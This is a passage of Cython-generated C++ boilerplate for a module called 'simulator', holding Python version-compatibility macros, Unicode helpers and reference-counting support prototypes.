CYTHON_FORMAT_SSIZE_T "z" #if PY_MAJOR_VERSION < 3 #define __Pyx_BUILTIN_MODULE_NAME "__builtin__" #define __Pyx_PyCode_New(a, k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos)\ PyCode_New(a+k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos) #define __Pyx_DefaultClassType PyClass_Type #else #define __Pyx_BUILTIN_MODULE_NAME "builtins" #define __Pyx_PyCode_New(a, k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos)\ PyCode_New(a, k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos) #define __Pyx_DefaultClassType PyType_Type #endif #ifndef Py_TPFLAGS_CHECKTYPES #define Py_TPFLAGS_CHECKTYPES 0 #endif #ifndef Py_TPFLAGS_HAVE_INDEX #define Py_TPFLAGS_HAVE_INDEX 0 #endif #ifndef Py_TPFLAGS_HAVE_NEWBUFFER #define Py_TPFLAGS_HAVE_NEWBUFFER 0 #endif #ifndef Py_TPFLAGS_HAVE_FINALIZE #define Py_TPFLAGS_HAVE_FINALIZE 0 #endif #ifndef METH_FASTCALL #define METH_FASTCALL 0x80 typedef PyObject *(*__Pyx_PyCFunctionFast) (PyObject *self, PyObject **args, Py_ssize_t nargs, PyObject *kwnames); #else #define __Pyx_PyCFunctionFast _PyCFunctionFast #endif #if CYTHON_FAST_PYCCALL #define __Pyx_PyFastCFunction_Check(func)\ ((PyCFunction_Check(func) && (METH_FASTCALL == (PyCFunction_GET_FLAGS(func) & ~(METH_CLASS | METH_STATIC | METH_COEXIST))))) #else #define __Pyx_PyFastCFunction_Check(func) 0 #endif #if PY_VERSION_HEX > 0x03030000 && defined(PyUnicode_KIND) #define CYTHON_PEP393_ENABLED 1 #define __Pyx_PyUnicode_READY(op) (likely(PyUnicode_IS_READY(op)) ?\ 0 : _PyUnicode_Ready((PyObject *)(op))) #define __Pyx_PyUnicode_GET_LENGTH(u) PyUnicode_GET_LENGTH(u) #define __Pyx_PyUnicode_READ_CHAR(u, i) PyUnicode_READ_CHAR(u, i) #define __Pyx_PyUnicode_MAX_CHAR_VALUE(u) PyUnicode_MAX_CHAR_VALUE(u) #define __Pyx_PyUnicode_KIND(u) PyUnicode_KIND(u) #define __Pyx_PyUnicode_DATA(u) PyUnicode_DATA(u) #define __Pyx_PyUnicode_READ(k, d, i) PyUnicode_READ(k, d, i) #define __Pyx_PyUnicode_WRITE(k, d, i, ch) PyUnicode_WRITE(k, d, i, ch) #define __Pyx_PyUnicode_IS_TRUE(u) (0 != (likely(PyUnicode_IS_READY(u)) ? PyUnicode_GET_LENGTH(u) : PyUnicode_GET_SIZE(u))) #else #define CYTHON_PEP393_ENABLED 0 #define PyUnicode_1BYTE_KIND 1 #define PyUnicode_2BYTE_KIND 2 #define PyUnicode_4BYTE_KIND 4 #define __Pyx_PyUnicode_READY(op) (0) #define __Pyx_PyUnicode_GET_LENGTH(u) PyUnicode_GET_SIZE(u) #define __Pyx_PyUnicode_READ_CHAR(u, i) ((Py_UCS4)(PyUnicode_AS_UNICODE(u)[i])) #define __Pyx_PyUnicode_MAX_CHAR_VALUE(u) ((sizeof(Py_UNICODE) == 2) ? 65535 : 1114111) #define __Pyx_PyUnicode_KIND(u) (sizeof(Py_UNICODE)) #define __Pyx_PyUnicode_DATA(u) ((void*)PyUnicode_AS_UNICODE(u)) #define __Pyx_PyUnicode_READ(k, d, i) ((void)(k), (Py_UCS4)(((Py_UNICODE*)d)[i])) #define __Pyx_PyUnicode_WRITE(k, d, i, ch) (((void)(k)), ((Py_UNICODE*)d)[i] = ch) #define __Pyx_PyUnicode_IS_TRUE(u) (0 != PyUnicode_GET_SIZE(u)) #endif #if CYTHON_COMPILING_IN_PYPY #define __Pyx_PyUnicode_Concat(a, b) PyNumber_Add(a, b) #define __Pyx_PyUnicode_ConcatSafe(a, b) PyNumber_Add(a, b) #else #define __Pyx_PyUnicode_Concat(a, b) PyUnicode_Concat(a, b) #define __Pyx_PyUnicode_ConcatSafe(a, b) ((unlikely((a) == Py_None) || unlikely((b) == Py_None)) ?\ PyNumber_Add(a, b) : __Pyx_PyUnicode_Concat(a, b)) #endif #if CYTHON_COMPILING_IN_PYPY && !defined(PyUnicode_Contains) #define PyUnicode_Contains(u, s) PySequence_Contains(u, s) #endif #if CYTHON_COMPILING_IN_PYPY && !defined(PyByteArray_Check) #define PyByteArray_Check(obj) PyObject_TypeCheck(obj, &PyByteArray_Type) #endif #if CYTHON_COMPILING_IN_PYPY && !defined(PyObject_Format) #define PyObject_Format(obj, fmt) PyObject_CallMethod(obj, "__format__", "O", fmt) #endif #if CYTHON_COMPILING_IN_PYPY && !defined(PyObject_Malloc) #define PyObject_Malloc(s) PyMem_Malloc(s) #define PyObject_Free(p) PyMem_Free(p) #define PyObject_Realloc(p) PyMem_Realloc(p) #endif #if CYTHON_COMPILING_IN_PYSTON #define __Pyx_PyCode_HasFreeVars(co) PyCode_HasFreeVars(co) #define __Pyx_PyFrame_SetLineNumber(frame, lineno) PyFrame_SetLineNumber(frame, lineno) #else #define __Pyx_PyCode_HasFreeVars(co) (PyCode_GetNumFree(co) > 0) #define __Pyx_PyFrame_SetLineNumber(frame, lineno) (frame)->f_lineno = (lineno) #endif #define __Pyx_PyString_FormatSafe(a, b) ((unlikely((a) == Py_None)) ? PyNumber_Remainder(a, b) : __Pyx_PyString_Format(a, b)) #define __Pyx_PyUnicode_FormatSafe(a, b) ((unlikely((a) == Py_None)) ? PyNumber_Remainder(a, b) : PyUnicode_Format(a, b)) #if PY_MAJOR_VERSION >= 3 #define __Pyx_PyString_Format(a, b) PyUnicode_Format(a, b) #else #define __Pyx_PyString_Format(a, b) PyString_Format(a, b) #endif #if PY_MAJOR_VERSION < 3 && !defined(PyObject_ASCII) #define PyObject_ASCII(o) PyObject_Repr(o) #endif #if PY_MAJOR_VERSION >= 3 #define PyBaseString_Type PyUnicode_Type #define PyStringObject PyUnicodeObject #define PyString_Type PyUnicode_Type #define PyString_Check PyUnicode_Check #define PyString_CheckExact PyUnicode_CheckExact #endif #if PY_MAJOR_VERSION >= 3 #define __Pyx_PyBaseString_Check(obj) PyUnicode_Check(obj) #define __Pyx_PyBaseString_CheckExact(obj) PyUnicode_CheckExact(obj) #else #define __Pyx_PyBaseString_Check(obj) (PyString_Check(obj) || PyUnicode_Check(obj)) #define __Pyx_PyBaseString_CheckExact(obj) (PyString_CheckExact(obj) || PyUnicode_CheckExact(obj)) #endif #ifndef PySet_CheckExact #define PySet_CheckExact(obj) (Py_TYPE(obj) == &PySet_Type) #endif #define __Pyx_TypeCheck(obj, type) PyObject_TypeCheck(obj, (PyTypeObject *)type) #define __Pyx_PyException_Check(obj) __Pyx_TypeCheck(obj, PyExc_Exception) #if PY_MAJOR_VERSION >= 3 #define PyIntObject PyLongObject #define PyInt_Type PyLong_Type #define PyInt_Check(op) PyLong_Check(op) #define PyInt_CheckExact(op) PyLong_CheckExact(op) #define PyInt_FromString PyLong_FromString #define PyInt_FromUnicode PyLong_FromUnicode #define PyInt_FromLong PyLong_FromLong #define PyInt_FromSize_t PyLong_FromSize_t #define PyInt_FromSsize_t PyLong_FromSsize_t #define PyInt_AsLong PyLong_AsLong #define PyInt_AS_LONG PyLong_AS_LONG #define PyInt_AsSsize_t PyLong_AsSsize_t #define PyInt_AsUnsignedLongMask PyLong_AsUnsignedLongMask #define PyInt_AsUnsignedLongLongMask PyLong_AsUnsignedLongLongMask #define PyNumber_Int PyNumber_Long #endif #if PY_MAJOR_VERSION >= 3 #define PyBoolObject PyLongObject #endif #if PY_MAJOR_VERSION >= 3 && CYTHON_COMPILING_IN_PYPY #ifndef PyUnicode_InternFromString #define PyUnicode_InternFromString(s) PyUnicode_FromString(s) #endif #endif #if PY_VERSION_HEX < 0x030200A4 typedef long Py_hash_t; #define __Pyx_PyInt_FromHash_t PyInt_FromLong #define __Pyx_PyInt_AsHash_t PyInt_AsLong #else #define __Pyx_PyInt_FromHash_t PyInt_FromSsize_t #define __Pyx_PyInt_AsHash_t PyInt_AsSsize_t #endif #if PY_MAJOR_VERSION >= 3 #define __Pyx_PyMethod_New(func, self, klass) ((self) ? PyMethod_New(func, self) : PyInstanceMethod_New(func)) #else #define __Pyx_PyMethod_New(func, self, klass) PyMethod_New(func, self, klass) #endif #if CYTHON_USE_ASYNC_SLOTS #if PY_VERSION_HEX >= 0x030500B1 #define __Pyx_PyAsyncMethodsStruct PyAsyncMethods #define __Pyx_PyType_AsAsync(obj) (Py_TYPE(obj)->tp_as_async) #else typedef struct { unaryfunc am_await; unaryfunc am_aiter; unaryfunc am_anext; } __Pyx_PyAsyncMethodsStruct; #define __Pyx_PyType_AsAsync(obj) ((__Pyx_PyAsyncMethodsStruct*) (Py_TYPE(obj)->tp_reserved)) #endif #else #define __Pyx_PyType_AsAsync(obj) NULL #endif #ifndef CYTHON_RESTRICT #if defined(__GNUC__) #define CYTHON_RESTRICT __restrict__ #elif defined(_MSC_VER) && _MSC_VER >= 1400 #define CYTHON_RESTRICT __restrict #elif defined (__STDC_VERSION__) && __STDC_VERSION__ >= 199901L #define CYTHON_RESTRICT restrict #else #define CYTHON_RESTRICT #endif #endif #ifndef CYTHON_UNUSED # if defined(__GNUC__) # if !(defined(__cplusplus)) || (__GNUC__ > 3 || (__GNUC__ == 3 && __GNUC_MINOR__ >= 4)) # define CYTHON_UNUSED __attribute__ ((__unused__)) # else # define CYTHON_UNUSED # endif # elif defined(__ICC) || (defined(__INTEL_COMPILER) && !defined(_MSC_VER)) # define CYTHON_UNUSED __attribute__ ((__unused__)) # else # define CYTHON_UNUSED # endif #endif #ifndef CYTHON_MAYBE_UNUSED_VAR # if defined(__cplusplus) template<class T> void CYTHON_MAYBE_UNUSED_VAR( const T& ) { } # else # define CYTHON_MAYBE_UNUSED_VAR(x) (void)(x) # endif #endif #ifndef CYTHON_NCP_UNUSED # if CYTHON_COMPILING_IN_CPYTHON # define CYTHON_NCP_UNUSED # else # define CYTHON_NCP_UNUSED CYTHON_UNUSED # endif #endif #define __Pyx_void_to_None(void_result) ((void)(void_result), Py_INCREF(Py_None), Py_None) #ifndef __cplusplus #error "Cython files generated with the C++ option must be compiled with a C++ compiler." #endif #ifndef CYTHON_INLINE #if defined(__clang__) #define CYTHON_INLINE __inline__ __attribute__ ((__unused__)) #else #define CYTHON_INLINE inline #endif #endif template<typename T> void __Pyx_call_destructor(T& x) { x.~T(); } template<typename T> class __Pyx_FakeReference { public: __Pyx_FakeReference() : ptr(NULL) { } __Pyx_FakeReference(const T& ref) : ptr(const_cast<T*>(&ref)) { } T *operator->() { return ptr; } T *operator&() { return ptr; } operator T&() { return *ptr; } template<typename U> bool operator ==(U other) { return *ptr == other; } template<typename U> bool operator !=(U other) { return *ptr != other; } private: T *ptr; }; #if defined(WIN32) || defined(MS_WINDOWS) #define _USE_MATH_DEFINES #endif #include <math.h> #ifdef NAN #define __PYX_NAN() ((float) NAN) #else static CYTHON_INLINE float __PYX_NAN() { float value; memset(&value, 0xFF, sizeof(value)); return value; } #endif #if defined(__CYGWIN__) && defined(_LDBL_EQ_DBL) #define __Pyx_truncl trunc #else #define __Pyx_truncl truncl #endif #define __PYX_ERR(f_index, lineno, Ln_error) \ { \ __pyx_filename = __pyx_f[f_index]; __pyx_lineno = lineno; __pyx_clineno = __LINE__; goto Ln_error; \ } #if PY_MAJOR_VERSION >= 3 #define __Pyx_PyNumber_Divide(x,y) PyNumber_TrueDivide(x,y) #define __Pyx_PyNumber_InPlaceDivide(x,y) PyNumber_InPlaceTrueDivide(x,y) #else #define __Pyx_PyNumber_Divide(x,y) PyNumber_TrueDivide(x,y) #define __Pyx_PyNumber_InPlaceDivide(x,y) PyNumber_InPlaceTrueDivide(x,y) #endif #ifndef __PYX_EXTERN_C #ifdef __cplusplus #define __PYX_EXTERN_C extern "C" #else #define __PYX_EXTERN_C extern #endif #endif #define __PYX_HAVE__simulator #define __PYX_HAVE_API__simulator #ifdef _OPENMP #include <omp.h> #endif /* _OPENMP */ #ifdef PYREX_WITHOUT_ASSERTIONS #define CYTHON_WITHOUT_ASSERTIONS #endif typedef struct {PyObject **p; const char *s; const Py_ssize_t n; const char* encoding; const char is_unicode; const char is_str; const char intern; } __Pyx_StringTabEntry; #define __PYX_DEFAULT_STRING_ENCODING_IS_ASCII 0 #define __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT 0 #define __PYX_DEFAULT_STRING_ENCODING "" #define __Pyx_PyObject_FromString __Pyx_PyBytes_FromString #define __Pyx_PyObject_FromStringAndSize __Pyx_PyBytes_FromStringAndSize #define __Pyx_uchar_cast(c) ((unsigned char)c) #define __Pyx_long_cast(x) ((long)x) #define __Pyx_fits_Py_ssize_t(v, type, is_signed) (\ (sizeof(type) < sizeof(Py_ssize_t)) ||\ (sizeof(type) > sizeof(Py_ssize_t) &&\ likely(v < (type)PY_SSIZE_T_MAX ||\ v == (type)PY_SSIZE_T_MAX) &&\ (!is_signed || likely(v > (type)PY_SSIZE_T_MIN ||\ v == (type)PY_SSIZE_T_MIN))) ||\ (sizeof(type) == sizeof(Py_ssize_t) &&\ (is_signed || likely(v < (type)PY_SSIZE_T_MAX ||\ v == (type)PY_SSIZE_T_MAX))) ) #if defined (__cplusplus) && __cplusplus >= 201103L #include <cstdlib> #define __Pyx_sst_abs(value) std::abs(value) #elif SIZEOF_INT >= SIZEOF_SIZE_T #define __Pyx_sst_abs(value) abs(value) #elif SIZEOF_LONG >= SIZEOF_SIZE_T #define __Pyx_sst_abs(value) labs(value) #elif defined (_MSC_VER) && defined (_M_X64) #define __Pyx_sst_abs(value) _abs64(value) #elif defined (__STDC_VERSION__) && __STDC_VERSION__ >= 199901L #define __Pyx_sst_abs(value) llabs(value) #elif defined (__GNUC__) #define __Pyx_sst_abs(value) __builtin_llabs(value) #else #define __Pyx_sst_abs(value) ((value<0) ? -value : value) #endif static CYTHON_INLINE char* __Pyx_PyObject_AsString(PyObject*); static CYTHON_INLINE char* __Pyx_PyObject_AsStringAndSize(PyObject*, Py_ssize_t* length); #define __Pyx_PyByteArray_FromString(s) PyByteArray_FromStringAndSize((const char*)s, strlen((const char*)s)) #define __Pyx_PyByteArray_FromStringAndSize(s, l) PyByteArray_FromStringAndSize((const char*)s, l) #define __Pyx_PyBytes_FromString PyBytes_FromString #define __Pyx_PyBytes_FromStringAndSize PyBytes_FromStringAndSize static CYTHON_INLINE PyObject* __Pyx_PyUnicode_FromString(const char*); #if PY_MAJOR_VERSION < 3 #define __Pyx_PyStr_FromString __Pyx_PyBytes_FromString #define __Pyx_PyStr_FromStringAndSize __Pyx_PyBytes_FromStringAndSize #else #define __Pyx_PyStr_FromString __Pyx_PyUnicode_FromString #define __Pyx_PyStr_FromStringAndSize __Pyx_PyUnicode_FromStringAndSize #endif #define __Pyx_PyObject_AsSString(s) ((signed char*) __Pyx_PyObject_AsString(s)) #define __Pyx_PyObject_AsUString(s) ((unsigned char*) __Pyx_PyObject_AsString(s)) #define __Pyx_PyObject_FromCString(s) __Pyx_PyObject_FromString((const char*)s) #define __Pyx_PyBytes_FromCString(s) __Pyx_PyBytes_FromString((const char*)s) #define __Pyx_PyByteArray_FromCString(s) __Pyx_PyByteArray_FromString((const char*)s) #define __Pyx_PyStr_FromCString(s) __Pyx_PyStr_FromString((const char*)s) #define __Pyx_PyUnicode_FromCString(s) __Pyx_PyUnicode_FromString((const char*)s) #if PY_MAJOR_VERSION < 3 static CYTHON_INLINE size_t __Pyx_Py_UNICODE_strlen(const Py_UNICODE *u) { const Py_UNICODE *u_end = u; while (*u_end++) ; return (size_t)(u_end - u - 1); } #else #define __Pyx_Py_UNICODE_strlen Py_UNICODE_strlen #endif #define __Pyx_PyUnicode_FromUnicode(u) PyUnicode_FromUnicode(u, __Pyx_Py_UNICODE_strlen(u)) #define __Pyx_PyUnicode_FromUnicodeAndLength PyUnicode_FromUnicode #define __Pyx_PyUnicode_AsUnicode PyUnicode_AsUnicode #define __Pyx_NewRef(obj) (Py_INCREF(obj), obj) #define __Pyx_Owned_Py_None(b) __Pyx_NewRef(Py_None) #define __Pyx_PyBool_FromLong(b) ((b) ? __Pyx_NewRef(Py_True) : __Pyx_NewRef(Py_False)) static CYTHON_INLINE int __Pyx_PyObject_IsTrue(PyObject*); static CYTHON_INLINE PyObject* __Pyx_PyNumber_IntOrLong(PyObject* x); static CYTHON_INLINE Py_ssize_t __Pyx_PyIndex_AsSsize_t(PyObject*); static CYTHON_INLINE PyObject * __Pyx_PyInt_FromSize_t(size_t); #if CYTHON_ASSUME_SAFE_MACROS #define __pyx_PyFloat_AsDouble(x) (PyFloat_CheckExact(x) ? PyFloat_AS_DOUBLE(x) : PyFloat_AsDouble(x)) #else #define __pyx_PyFloat_AsDouble(x) PyFloat_AsDouble(x) #endif #define __pyx_PyFloat_AsFloat(x) ((float) __pyx_PyFloat_AsDouble(x)) #if PY_MAJOR_VERSION >= 3 #define __Pyx_PyNumber_Int(x) (PyLong_CheckExact(x) ? __Pyx_NewRef(x) : PyNumber_Long(x)) #else #define __Pyx_PyNumber_Int(x) (PyInt_CheckExact(x) ? __Pyx_NewRef(x) : PyNumber_Int(x)) #endif #define __Pyx_PyNumber_Float(x) (PyFloat_CheckExact(x) ? __Pyx_NewRef(x) : PyNumber_Float(x)) #if PY_MAJOR_VERSION < 3 && __PYX_DEFAULT_STRING_ENCODING_IS_ASCII static int __Pyx_sys_getdefaultencoding_not_ascii; static int __Pyx_init_sys_getdefaultencoding_params(void) { PyObject* sys; PyObject* default_encoding = NULL; PyObject* ascii_chars_u = NULL; PyObject* ascii_chars_b = NULL; const char* default_encoding_c; sys = PyImport_ImportModule("sys"); if (!sys) goto bad; default_encoding = PyObject_CallMethod(sys, (char*) "getdefaultencoding", NULL); Py_DECREF(sys); if (!default_encoding) goto bad; default_encoding_c = PyBytes_AsString(default_encoding); if (!default_encoding_c) goto bad; if (strcmp(default_encoding_c, "ascii") == 0) { __Pyx_sys_getdefaultencoding_not_ascii = 0; } else { char ascii_chars[128]; int c; for (c = 0; c < 128; c++) { ascii_chars[c] = c; } __Pyx_sys_getdefaultencoding_not_ascii = 1; ascii_chars_u = PyUnicode_DecodeASCII(ascii_chars, 128, NULL); if (!ascii_chars_u) goto bad; ascii_chars_b = PyUnicode_AsEncodedString(ascii_chars_u, default_encoding_c, NULL); if (!ascii_chars_b || !PyBytes_Check(ascii_chars_b) || memcmp(ascii_chars, PyBytes_AS_STRING(ascii_chars_b), 128) != 0) { PyErr_Format( PyExc_ValueError, "This module compiled with c_string_encoding=ascii, but default encoding '%.200s' is not a superset of ascii.", default_encoding_c); goto bad; } Py_DECREF(ascii_chars_u); Py_DECREF(ascii_chars_b); } Py_DECREF(default_encoding); return 0; bad: Py_XDECREF(default_encoding); Py_XDECREF(ascii_chars_u); Py_XDECREF(ascii_chars_b); return -1; } #endif #if __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT && PY_MAJOR_VERSION >= 3 #define __Pyx_PyUnicode_FromStringAndSize(c_str, size) PyUnicode_DecodeUTF8(c_str, size, NULL) #else #define __Pyx_PyUnicode_FromStringAndSize(c_str, size) PyUnicode_Decode(c_str, size, __PYX_DEFAULT_STRING_ENCODING, NULL) #if __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT static char* __PYX_DEFAULT_STRING_ENCODING; static int __Pyx_init_sys_getdefaultencoding_params(void) { PyObject* sys; PyObject* default_encoding = NULL; char* default_encoding_c; sys = PyImport_ImportModule("sys"); if (!sys) goto bad; default_encoding = PyObject_CallMethod(sys, (char*) (const char*) "getdefaultencoding", NULL); Py_DECREF(sys); if (!default_encoding) goto bad; default_encoding_c = PyBytes_AsString(default_encoding); if (!default_encoding_c) goto bad; __PYX_DEFAULT_STRING_ENCODING = (char*) malloc(strlen(default_encoding_c)); if (!__PYX_DEFAULT_STRING_ENCODING) goto bad; strcpy(__PYX_DEFAULT_STRING_ENCODING, default_encoding_c); Py_DECREF(default_encoding); return 0; bad: Py_XDECREF(default_encoding); return -1; } #endif #endif /* Test for GCC > 2.95 */ #if defined(__GNUC__) && (__GNUC__ > 2 || (__GNUC__ == 2 && (__GNUC_MINOR__ > 95))) #define likely(x) __builtin_expect(!!(x), 1) #define unlikely(x) __builtin_expect(!!(x), 0) #else /* !__GNUC__ or GCC < 2.95 */ #define likely(x) (x) #define unlikely(x) (x) #endif /* __GNUC__ */ static PyObject *__pyx_m; static PyObject *__pyx_d; static PyObject *__pyx_b; static PyObject *__pyx_empty_tuple; static PyObject *__pyx_empty_bytes; static PyObject *__pyx_empty_unicode; static int __pyx_lineno; static int __pyx_clineno = 0; static const char * __pyx_cfilenm= __FILE__; static const char *__pyx_filename; static const char *__pyx_f[] = { "simulator.py", }; /*--- Type declarations ---*/ /* --- Runtime support code (head) --- */ /* Refnanny.proto */ #ifndef CYTHON_REFNANNY #define CYTHON_REFNANNY 0 #endif #if CYTHON_REFNANNY typedef struct { void (*INCREF)(void*, PyObject*, int); void (*DECREF)(void*, PyObject*, int); void (*GOTREF)(void*, PyObject*, int); void (*GIVEREF)(void*, PyObject*, int); void* (*SetupContext)(const char*, int, const char*); void (*FinishContext)(void**); } __Pyx_RefNannyAPIStruct; static __Pyx_RefNannyAPIStruct *__Pyx_RefNanny = NULL; static __Pyx_RefNannyAPIStruct *__Pyx_RefNannyImportAPI(const char *modname); #define __Pyx_RefNannyDeclarations void *__pyx_refnanny = NULL; #ifdef WITH_THREAD #define __Pyx_RefNannySetupContext(name, acquire_gil)\ if (acquire_gil) {\ PyGILState_STATE __pyx_gilstate_save = PyGILState_Ensure();\ __pyx_refnanny = __Pyx_RefNanny->SetupContext((name), __LINE__, __FILE__);\ PyGILState_Release(__pyx_gilstate_save);\ } else {\ __pyx_refnanny = __Pyx_RefNanny->SetupContext((name), __LINE__, __FILE__);\ } #else #define __Pyx_RefNannySetupContext(name, acquire_gil)\ __pyx_refnanny = __Pyx_RefNanny->SetupContext((name), __LINE__, __FILE__) #endif #define __Pyx_RefNannyFinishContext()\ __Pyx_RefNanny->FinishContext(&__pyx_refnanny) #define __Pyx_INCREF(r) __Pyx_RefNanny->INCREF(__pyx_refnanny, (PyObject *)(r), __LINE__) #define __Pyx_DECREF(r) __Pyx_RefNanny->DECREF(__pyx_refnanny, (PyObject *)(r), __LINE__) #define __Pyx_GOTREF(r) __Pyx_RefNanny->GOTREF(__pyx_refnanny, (PyObject *)(r), __LINE__) #define __Pyx_GIVEREF(r) __Pyx_RefNanny->GIVEREF(__pyx_refnanny, (PyObject *)(r), __LINE__) #define __Pyx_XINCREF(r) do { if((r) != NULL) {__Pyx_INCREF(r); }} while(0) #define __Pyx_XDECREF(r) do { if((r) != NULL) {__Pyx_DECREF(r); }} while(0) #define __Pyx_XGOTREF(r) do { if((r) != NULL) {__Pyx_GOTREF(r); }} while(0) #define __Pyx_XGIVEREF(r) do { if((r) != NULL) {__Pyx_GIVEREF(r);}} while(0) #else #define __Pyx_RefNannyDeclarations #define __Pyx_RefNannySetupContext(name, acquire_gil) #define __Pyx_RefNannyFinishContext() #define __Pyx_INCREF(r) Py_INCREF(r) #define __Pyx_DECREF(r) Py_DECREF(r) #define __Pyx_GOTREF(r) #define __Pyx_GIVEREF(r) #define __Pyx_XINCREF(r) Py_XINCREF(r) #define __Pyx_XDECREF(r) Py_XDECREF(r) #define __Pyx_XGOTREF(r) #define __Pyx_XGIVEREF(r) #endif #define __Pyx_XDECREF_SET(r, v) do {\ PyObject *tmp = (PyObject *) r;\ r = v; __Pyx_XDECREF(tmp);\ } while (0) #define __Pyx_DECREF_SET(r, v) do {\ PyObject *tmp = (PyObject *) r;\ r = v; __Pyx_DECREF(tmp);\ } while (0) #define __Pyx_CLEAR(r) do { PyObject* tmp = ((PyObject*)(r)); r = NULL; __Pyx_DECREF(tmp);} while(0) #define __Pyx_XCLEAR(r) do { if((r) != NULL) {PyObject* tmp = ((PyObject*)(r)); r = NULL; __Pyx_DECREF(tmp);}} while(0) /* PyObjectGetAttrStr.proto */ #if CYTHON_USE_TYPE_SLOTS static CYTHON_INLINE PyObject* __Pyx_PyObject_GetAttrStr(PyObject* obj, PyObject* attr_name) { PyTypeObject* tp = Py_TYPE(obj); if (likely(tp->tp_getattro)) return tp->tp_getattro(obj, attr_name); #if PY_MAJOR_VERSION < 3 if (likely(tp->tp_getattr)) return tp->tp_getattr(obj, PyString_AS_STRING(attr_name)); #endif return PyObject_GetAttr(obj, attr_name); } #else #define __Pyx_PyObject_GetAttrStr(o,n) PyObject_GetAttr(o,n) #endif /* GetBuiltinName.proto */ static PyObject *__Pyx_GetBuiltinName(PyObject *name); /* RaiseArgTupleInvalid.proto */ static void __Pyx_RaiseArgtupleInvalid(const char* func_name, int exact, Py_ssize_t num_min, Py_ssize_t num_max, Py_ssize_t num_found); /* RaiseDoubleKeywords.proto */ static void __Pyx_RaiseDoubleKeywordsError(const char* func_name, PyObject* kw_name); /* ParseKeywords.proto */ static int __Pyx_ParseOptionalKeywords(PyObject *kwds, PyObject **argnames[],\ PyObject *kwds2, PyObject *values[], Py_ssize_t num_pos_args,\ const char* function_name); /* PyObjectSetAttrStr.proto */ #if CYTHON_USE_TYPE_SLOTS #define __Pyx_PyObject_DelAttrStr(o,n) __Pyx_PyObject_SetAttrStr(o,n,NULL) static CYTHON_INLINE int __Pyx_PyObject_SetAttrStr(PyObject* obj, PyObject* attr_name, PyObject* value) { PyTypeObject* tp = Py_TYPE(obj); if (likely(tp->tp_setattro)) return tp->tp_setattro(obj, attr_name, value); #if PY_MAJOR_VERSION < 3 if (likely(tp->tp_setattr)) return tp->tp_setattr(obj, PyString_AS_STRING(attr_name), value); #endif return PyObject_SetAttr(obj, attr_name, value); } #else #define __Pyx_PyObject_DelAttrStr(o,n) PyObject_DelAttr(o,n) #define __Pyx_PyObject_SetAttrStr(o,n,v) PyObject_SetAttr(o,n,v) #endif /* ListAppend.proto */ #if CYTHON_USE_PYLIST_INTERNALS && CYTHON_ASSUME_SAFE_MACROS static CYTHON_INLINE int __Pyx_PyList_Append(PyObject* list, PyObject* x) { PyListObject* L = (PyListObject*) list; Py_ssize_t len = Py_SIZE(list); if (likely(L->allocated > len) & likely(len > (L->allocated >> 1))) { Py_INCREF(x); PyList_SET_ITEM(list, len, x); Py_SIZE(list) = len+1; return 0; } return PyList_Append(list, x); } #else #define __Pyx_PyList_Append(L,x) PyList_Append(L,x) #endif /* PyCFunctionFastCall.proto */ #if CYTHON_FAST_PYCCALL static CYTHON_INLINE PyObject *__Pyx_PyCFunction_FastCall(PyObject *func, PyObject **args, Py_ssize_t nargs); #else #define __Pyx_PyCFunction_FastCall(func, args, nargs) (assert(0), NULL) #endif /* PyFunctionFastCall.proto */ #if CYTHON_FAST_PYCALL #define __Pyx_PyFunction_FastCall(func, args, nargs)\ __Pyx_PyFunction_FastCallDict((func), (args), (nargs), NULL) #if 1 || PY_VERSION_HEX < 0x030600B1 static PyObject *__Pyx_PyFunction_FastCallDict(PyObject *func, PyObject **args, int nargs, PyObject *kwargs); #else #define __Pyx_PyFunction_FastCallDict(func, args, nargs, kwargs) _PyFunction_FastCallDict(func, args, nargs, kwargs) #endif #endif /* PyObjectCall.proto */ #if CYTHON_COMPILING_IN_CPYTHON static CYTHON_INLINE PyObject* __Pyx_PyObject_Call(PyObject *func, PyObject *arg, PyObject *kw); #else #define __Pyx_PyObject_Call(func, arg, kw) PyObject_Call(func, arg, kw) #endif /* PyObjectCallMethO.proto */ #if CYTHON_COMPILING_IN_CPYTHON static CYTHON_INLINE PyObject* __Pyx_PyObject_CallMethO(PyObject *func, PyObject *arg); #endif /* PyObjectCallOneArg.proto */ static CYTHON_INLINE PyObject* __Pyx_PyObject_CallOneArg(PyObject *func, PyObject *arg); /* PyObjectCallMethod1.proto */ static PyObject* __Pyx_PyObject_CallMethod1(PyObject* obj, PyObject* method_name, PyObject* arg); /* append.proto */ static CYTHON_INLINE int __Pyx_PyObject_Append(PyObject* L, PyObject* x); /* GetModuleGlobalName.proto */ static CYTHON_INLINE PyObject *__Pyx_GetModuleGlobalName(PyObject *name); /* PyObjectCallNoArg.proto */ #if CYTHON_COMPILING_IN_CPYTHON static CYTHON_INLINE PyObject* __Pyx_PyObject_CallNoArg(PyObject *func); #else #define __Pyx_PyObject_CallNoArg(func) __Pyx_PyObject_Call(func, __pyx_empty_tuple, NULL) #endif /* PyIntBinop.proto */ #if !CYTHON_COMPILING_IN_PYPY static PyObject* __Pyx_PyInt_AddObjC(PyObject *op1, PyObject *op2, long intval, int inplace); #else #define __Pyx_PyInt_AddObjC(op1, op2, intval, inplace)\ (inplace ? PyNumber_InPlaceAdd(op1, op2) : PyNumber_Add(op1, op2)) #endif /* PyIntBinop.proto */ #if !CYTHON_COMPILING_IN_PYPY static PyObject* __Pyx_PyInt_EqObjC(PyObject *op1, PyObject *op2, long intval, int inplace); #else #define __Pyx_PyInt_EqObjC(op1, op2, intval, inplace)\ PyObject_RichCompare(op1, op2, Py_EQ) #endif /* PyThreadStateGet.proto */ #if CYTHON_FAST_THREAD_STATE #define __Pyx_PyThreadState_declare PyThreadState *__pyx_tstate; #define __Pyx_PyThreadState_assign __pyx_tstate = PyThreadState_GET(); #else #define __Pyx_PyThreadState_declare #define __Pyx_PyThreadState_assign #endif /* SaveResetException.proto */ #if CYTHON_FAST_THREAD_STATE #define __Pyx_ExceptionSave(type, value, tb) __Pyx__ExceptionSave(__pyx_tstate, type, value, tb) static CYTHON_INLINE void __Pyx__ExceptionSave(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb); #define __Pyx_ExceptionReset(type, value, tb) __Pyx__ExceptionReset(__pyx_tstate, type, value, tb) static 